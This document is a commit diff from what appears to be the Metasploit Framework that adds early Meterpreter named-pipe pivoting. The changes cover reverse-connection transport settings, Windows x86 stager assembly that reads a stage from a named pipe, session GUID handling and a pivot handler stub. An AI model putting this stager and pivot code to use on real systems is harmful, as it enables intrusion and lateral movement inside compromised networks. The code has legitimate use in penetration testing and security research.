Progress in named pipe pivots, more to come
parent
816e78b6f6
commit
abc80655b7
|
@ -54,8 +54,8 @@ module MeterpreterOptions
|
|||
|
||||
# always make sure that the new session has a new guid if it's not already known
|
||||
guid = session.session_guid
|
||||
if guid == '00000000-0000-0000-0000-000000000000'
|
||||
guid = SecureRandom.uuid
|
||||
if guid == "\x00" * 16
|
||||
guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
|
||||
session.core.set_session_guid(guid)
|
||||
session.session_guid = guid
|
||||
# TODO: New stageless session, do some account in the DB so we can track it later.
|
||||
|
|
|
@ -11,31 +11,35 @@ module Msf::Payload::TransportConfig
|
|||
include Msf::Payload::UUID::Options
|
||||
|
||||
def transport_config_reverse_tcp(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
config = transport_config_bind_tcp(opts)
|
||||
config[:lhost] = datastore['LHOST']
|
||||
config[:lhost] = ds['LHOST']
|
||||
config
|
||||
end
|
||||
|
||||
def transport_config_reverse_ipv6_tcp(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
config = transport_config_reverse_tcp(opts)
|
||||
config[:scheme] = 'tcp6'
|
||||
config[:scope_id] = datastore['SCOPEID']
|
||||
config[:scope_id] = ds['SCOPEID']
|
||||
config
|
||||
end
|
||||
|
||||
def transport_config_bind_tcp(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
{
|
||||
scheme: 'tcp',
|
||||
lhost: datastore['LHOST'],
|
||||
lport: datastore['LPORT'].to_i
|
||||
}.merge(timeout_config)
|
||||
lhost: ds['LHOST'],
|
||||
lport: ds['LPORT'].to_i
|
||||
}.merge(timeout_config(opts))
|
||||
end
|
||||
|
||||
def transport_config_reverse_https(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
config = transport_config_reverse_http(opts)
|
||||
config[:scheme] = datastore['OverrideScheme'] || 'https'
|
||||
config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
config[:scheme] = ds['OverrideScheme'] || 'https'
|
||||
config[:ssl_cert_hash] = get_ssl_cert_hash(ds['StagerVerifySSLCert'],
|
||||
ds['HandlerSSLCert'])
|
||||
config
|
||||
end
|
||||
|
||||
|
@ -50,35 +54,38 @@ module Msf::Payload::TransportConfig
|
|||
uri = luri + generate_uri_uuid(sum, opts[:uuid])
|
||||
end
|
||||
|
||||
ds = opts[:datastore] || datastore
|
||||
{
|
||||
scheme: datastore['OverrideScheme'] || 'http',
|
||||
lhost: opts[:lhost] || datastore['LHOST'],
|
||||
lport: (opts[:lport] || datastore['LPORT']).to_i,
|
||||
scheme: ds['OverrideScheme'] || 'http',
|
||||
lhost: opts[:lhost] || ds['LHOST'],
|
||||
lport: (opts[:lport] || ds['LPORT']).to_i,
|
||||
uri: uri,
|
||||
ua: datastore['MeterpreterUserAgent'],
|
||||
proxy_host: datastore['PayloadProxyHost'],
|
||||
proxy_port: datastore['PayloadProxyPort'],
|
||||
proxy_type: datastore['PayloadProxyType'],
|
||||
proxy_user: datastore['PayloadProxyUser'],
|
||||
proxy_pass: datastore['PayloadProxyPass']
|
||||
}.merge(timeout_config)
|
||||
ua: ds['MeterpreterUserAgent'],
|
||||
proxy_host: ds['PayloadProxyHost'],
|
||||
proxy_port: ds['PayloadProxyPort'],
|
||||
proxy_type: ds['PayloadProxyType'],
|
||||
proxy_user: ds['PayloadProxyUser'],
|
||||
proxy_pass: ds['PayloadProxyPass']
|
||||
}.merge(timeout_config(opts))
|
||||
end
|
||||
|
||||
def transport_config_reverse_named_pipe(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
{
|
||||
scheme: 'pipe',
|
||||
lhost: datastore['PIPEHOST'],
|
||||
uri: "/#{datastore['PIPENAME']}"
|
||||
}.merge(timeout_config)
|
||||
lhost: ds['PIPEHOST'],
|
||||
uri: "/#{ds['PIPENAME']}"
|
||||
}.merge(timeout_config(opts))
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def timeout_config
|
||||
def timeout_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
{
|
||||
comm_timeout: datastore['SessionCommunicationTimeout'].to_i,
|
||||
retry_total: datastore['SessionRetryTotal'].to_i,
|
||||
retry_wait: datastore['SessionRetryWait'].to_i
|
||||
comm_timeout: ds['SessionCommunicationTimeout'].to_i,
|
||||
retry_total: ds['SessionRetryTotal'].to_i,
|
||||
retry_wait: ds['SessionRetryWait'].to_i
|
||||
}
|
||||
end
|
||||
|
||||
|
|
|
@ -53,7 +53,7 @@ module Payload::Windows::MeterpreterLoader
|
|||
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
^
|
||||
|
||||
unless opts[:stageless]
|
||||
unless opts[:stageless] || opts[:force_write_handle] == true
|
||||
asm << %Q^
|
||||
mov [ebx], edi ; write the current socket/handle to the config
|
||||
^
|
||||
|
|
|
@ -73,6 +73,8 @@ module Payload::Windows::ReverseNamedPipe
|
|||
pop ebp
|
||||
#{asm_reverse_named_pipe(opts)}
|
||||
^
|
||||
|
||||
#"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
|
@ -206,15 +208,31 @@ module Payload::Windows::ReverseNamedPipe
|
|||
push ebx ; push the address of the new stage so we can return into it
|
||||
|
||||
read_more:
|
||||
; Query/read the bytes that are on the pipe first using PeekNamedPipe
|
||||
push eax ; space for the number of bytes
|
||||
mov eax, esp ; store the pointer
|
||||
push 0 ; lpBytesLeftThisMessage
|
||||
push eax ; lpTotalBytesAvail
|
||||
push 0 ; lpBytesRead
|
||||
push esi ; nBufferSize
|
||||
push ebx ; lpBuffer
|
||||
push edi ; hFile
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'PeekNamedPipe')}
|
||||
call ebp ; PeekNamedPipe(...) to query
|
||||
pop ecx ; Get the bytes read/available
|
||||
push ecx ; leave the result on the stack
|
||||
|
||||
; Invoke a read to flush the read data
|
||||
push eax ; space for the number of bytes
|
||||
mov eax, esp ; store the pointer
|
||||
push 0 ; lpOverlapped
|
||||
push eax ; lpNumberOfBytesRead
|
||||
push esi ; nNumberOfBytesToRead
|
||||
push ecx ; nNumberOfBytesToRead
|
||||
push ebx ; lpBuffer
|
||||
push edi ; hFile
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
|
||||
call ebp ; ReadFile(...) to read the size
|
||||
call ebp ; ReadFile(...) to read the data
|
||||
pop ecx ; Ignore the result from readfile
|
||||
^
|
||||
|
||||
if reliable
|
||||
|
|
|
@ -78,7 +78,8 @@ private
|
|||
lhost = "[#{lhost}]"
|
||||
end
|
||||
|
||||
url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}"
|
||||
url = "#{opts[:scheme]}://#{lhost}"
|
||||
url << ":#{opts[:lport]}" if opts[:lport]
|
||||
url << "#{opts[:uri]}/" if opts[:uri]
|
||||
url << "?#{opts[:scope_id]}" if opts[:scope_id]
|
||||
|
||||
|
|
|
@ -12,6 +12,7 @@ require 'rex/post/meterpreter/object_aliases'
|
|||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/post/meterpreter/packet_parser'
|
||||
require 'rex/post/meterpreter/packet_dispatcher'
|
||||
require 'rex/post/meterpreter/pivot_container'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
|
@ -131,7 +132,7 @@ class Client
|
|||
self.encode_unicode = false
|
||||
|
||||
self.aes_key = nil
|
||||
self.session_guid = '00000000-0000-0000-0000-000000000000'
|
||||
self.session_guid = "\x00" * 16
|
||||
|
||||
# The SSL certificate is being passed down as a file path
|
||||
if opts[:ssl_cert]
|
||||
|
@ -153,6 +154,7 @@ class Client
|
|||
|
||||
# Register the channel inbound packet handler
|
||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
||||
register_inbound_handler(Rex::Post::Meterpreter::PivotContainer)
|
||||
else
|
||||
# Switch the socket to SSL mode and receive the hello if needed
|
||||
if capabilities[:ssl] and not opts[:skip_ssl]
|
||||
|
@ -166,6 +168,7 @@ class Client
|
|||
|
||||
# Register the channel inbound packet handler
|
||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
||||
register_inbound_handler(Rex::Post::Meterpreter::PivotContainer)
|
||||
|
||||
monitor_socket
|
||||
end
|
||||
|
|
|
@ -3,6 +3,7 @@
|
|||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/post/meterpreter/extension'
|
||||
require 'rex/post/meterpreter/client'
|
||||
require 'msf/core/payload/transport_config'
|
||||
|
||||
# Used to generate a reflective DLL when migrating. This is yet another
|
||||
# argument for moving the meterpreter client into the Msf namespace.
|
||||
|
@ -67,6 +68,45 @@ class ClientCore < Extension
|
|||
#
|
||||
##
|
||||
|
||||
#
|
||||
# create a named pipe pivot
|
||||
#
|
||||
def create_named_pipe_pivot(opts)
|
||||
request = Packet.create_request('core_pivot_add')
|
||||
request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
|
||||
|
||||
|
||||
c = Class.new(::Msf::Payload)
|
||||
c.include(::Msf::Payload::Stager)
|
||||
c.include(::Msf::Payload::TransportConfig)
|
||||
|
||||
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||
if opts[:arch] == ARCH_X86
|
||||
c.include(::Msf::Payload::Windows::MeterpreterLoader)
|
||||
elsif opts[:arch] == ARCH_X64
|
||||
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
|
||||
end
|
||||
|
||||
stage_opts = {
|
||||
force_write_handle: true,
|
||||
datastore: {
|
||||
'PIPEHOST' => opts[:pipe_host],
|
||||
'PIPENAME' => opts[:pipe_name]
|
||||
}
|
||||
}
|
||||
|
||||
# Create the migrate stager
|
||||
stager = c.new()
|
||||
|
||||
stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
|
||||
stage = stager.stage_payload(stage_opts)
|
||||
|
||||
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
|
||||
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)
|
||||
|
||||
response = self.client.send_request(request)
|
||||
end
|
||||
|
||||
#
|
||||
# Get a list of loaded commands for the given extension.
|
||||
#
|
||||
|
@ -320,7 +360,7 @@ class ClientCore < Extension
|
|||
#
|
||||
def set_session_guid(guid)
|
||||
request = Packet.create_request('core_set_session_guid')
|
||||
request.add_tlv(TLV_TYPE_SESSION_GUID, [guid.gsub(/-/, '')].pack('H*'))
|
||||
request.add_tlv(TLV_TYPE_SESSION_GUID, guid)
|
||||
|
||||
client.send_request(request)
|
||||
|
||||
|
@ -338,10 +378,7 @@ class ClientCore < Extension
|
|||
|
||||
response = client.send_request(*args)
|
||||
|
||||
bytes = response.get_tlv_value(TLV_TYPE_SESSION_GUID)
|
||||
|
||||
parts = bytes.unpack('H*')[0]
|
||||
[parts[0, 8], parts[8, 4], parts[12, 4], parts[16, 4], parts[20, 12]].join('-')
|
||||
response.get_tlv_value(TLV_TYPE_SESSION_GUID)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -581,11 +618,11 @@ class ClientCore < Extension
|
|||
request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
|
||||
end
|
||||
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_PID, target_pid )
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length )
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length )
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
|
||||
request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)
|
||||
request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length)
|
||||
request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
|
||||
request.add_tlv(TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length)
|
||||
request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
|
||||
|
||||
if target_process['arch'] == ARCH_X64
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
|
||||
|
|
|
@ -170,7 +170,10 @@ class Config
|
|||
ret = []
|
||||
res = client.send_request(req)
|
||||
res.each(TLV_TYPE_PRIVILEGE) do |p|
|
||||
ret << p.value
|
||||
ret << {
|
||||
priv: p.get_tlv_value(TLV_TYPE_PRIVILEGE_NAME),
|
||||
enabled: p.get_tlv_value(TLV_TYPE_PRIVILEGE_ENABLED),
|
||||
}
|
||||
end
|
||||
ret
|
||||
end
|
||||
|
|
|
@ -16,8 +16,10 @@ TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600
|
|||
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
|
||||
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630
|
||||
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631
|
||||
TLV_TYPE_PRIVILEGE = TLV_META_TYPE_STRING | 632
|
||||
|
||||
TLV_TYPE_PRIVILEGE = TLV_META_TYPE_GROUP | 632
|
||||
TLV_TYPE_PRIVILEGE_NAME = TLV_META_TYPE_STRING | 633
|
||||
TLV_TYPE_PRIVILEGE_ENABLED = TLV_META_TYPE_BOOL | 634
|
||||
|
||||
##
|
||||
#
|
||||
# Fs
|
||||
|
|
|
@ -113,6 +113,14 @@ TLV_TYPE_SYM_KEY_TYPE = TLV_META_TYPE_UINT | 551
|
|||
TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552
|
||||
TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553
|
||||
|
||||
#
|
||||
# Pivots
|
||||
#
|
||||
TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 650
|
||||
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_META_TYPE_UINT | 651
|
||||
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 652
|
||||
|
||||
|
||||
#
|
||||
# Core flags
|
||||
#
|
||||
|
@ -786,7 +794,7 @@ class Packet < GroupTlv
|
|||
def to_r(session_guid = nil, key = nil)
|
||||
xor_key = (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr + (rand(254) + 1).chr
|
||||
|
||||
raw = [(session_guid || '00' * SESSION_GUID_SIZE).gsub(/-/, '')].pack('H*')
|
||||
raw = session_guid.dup
|
||||
tlv_data = GroupTlv.instance_method(:to_r).bind(self).call
|
||||
|
||||
if key && key[:key] && key[:type] == ENC_FLAG_AES256
|
||||
|
|
|
@ -370,7 +370,7 @@ module PacketDispatcher
|
|||
backlog.each do |pkt|
|
||||
|
||||
begin
|
||||
if ! dispatch_inbound_packet(pkt)
|
||||
unless dispatch_inbound_packet(pkt)
|
||||
# Keep Packets in the receive queue until a handler is registered
|
||||
# for them. Packets will live in the receive queue for up to
|
||||
# PACKET_TIMEOUT seconds, after which they will be dropped.
|
||||
|
@ -428,9 +428,10 @@ module PacketDispatcher
|
|||
packet = parser.recv(self.sock)
|
||||
if packet
|
||||
packet.from_r(self.tlv_enc_key)
|
||||
if self.session_guid == '00000000-0000-0000-0000-000000000000'
|
||||
parts = packet.session_guid.unpack('H*')[0]
|
||||
self.session_guid = [parts[0, 8], parts[8, 4], parts[12, 4], parts[16, 4], parts[20, 12]].join('-')
|
||||
if self.session_guid == "\x00" * 16
|
||||
self.session_guid = packet.session_guid.dup
|
||||
elsif self.session_guid != packet.session_guid
|
||||
STDERR.puts("Incoming packet for other session: #{packet.inspect}\n")
|
||||
end
|
||||
end
|
||||
packet
|
||||
|
@ -440,12 +441,12 @@ module PacketDispatcher
|
|||
# Stop the monitor
|
||||
#
|
||||
def monitor_stop
|
||||
if(self.receiver_thread)
|
||||
if self.receiver_thread
|
||||
self.receiver_thread.kill
|
||||
self.receiver_thread = nil
|
||||
end
|
||||
|
||||
if(self.dispatcher_thread)
|
||||
if self.dispatcher_thread
|
||||
self.dispatcher_thread.kill
|
||||
self.dispatcher_thread = nil
|
||||
end
|
||||
|
@ -519,10 +520,8 @@ module PacketDispatcher
|
|||
|
||||
# If the packet is a response, try to notify any potential
|
||||
# waiters
|
||||
if packet.response?
|
||||
if (notify_response_waiter(packet))
|
||||
return true
|
||||
end
|
||||
if packet.response? && notify_response_waiter(packet)
|
||||
return true
|
||||
end
|
||||
|
||||
# Enumerate all of the inbound packet handlers until one handles
|
||||
|
|
|
@ -0,0 +1,47 @@
|
|||
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/meterpreter/inbound_packet_handler'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
|
||||
class PivotContainer
|
||||
|
||||
# Class modifications to support global pivot message
|
||||
# dispatching without having to register a per-instance handler
|
||||
class << self
|
||||
include Rex::Post::Meterpreter::InboundPacketHandler
|
||||
|
||||
# Class request handler for all channels that dispatches requests
|
||||
# to the appropriate class instance's DIO handler
|
||||
def request_handler(client, packet)
|
||||
if packet.method == 'core_pivot_new'
|
||||
STDERR.puts("Received pivot packet! #{packet.inspect}\n")
|
||||
end
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(client)
|
||||
self.client = client
|
||||
end
|
||||
|
||||
#
|
||||
# The associated meterpreter client instance
|
||||
#
|
||||
attr_accessor :client
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Cleans up any lingering resources
|
||||
#
|
||||
def cleanup
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end
|
||||
|
|
@ -894,13 +894,22 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
if args.include? "-h"
|
||||
cmd_getprivs_help
|
||||
end
|
||||
print_line("=" * 60)
|
||||
print_line("Enabled Process Privileges")
|
||||
print_line("=" * 60)
|
||||
|
||||
table = Rex::Text::Table.new(
|
||||
'Header' => 'Enabled Process Privileges',
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 1,
|
||||
'Columns' => ['Priv Name', 'Enabled']
|
||||
)
|
||||
|
||||
privs = client.sys.config.getprivs
|
||||
STDERR.puts(privs.inspect+"\n")
|
||||
client.sys.config.getprivs.each do |priv|
|
||||
print_line(" #{priv}")
|
||||
table << [priv[:priv], priv[:enabled].to_s]
|
||||
end
|
||||
print_line("")
|
||||
|
||||
print_line
|
||||
print_line(table.to_s)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
Loading…
Reference in New Issue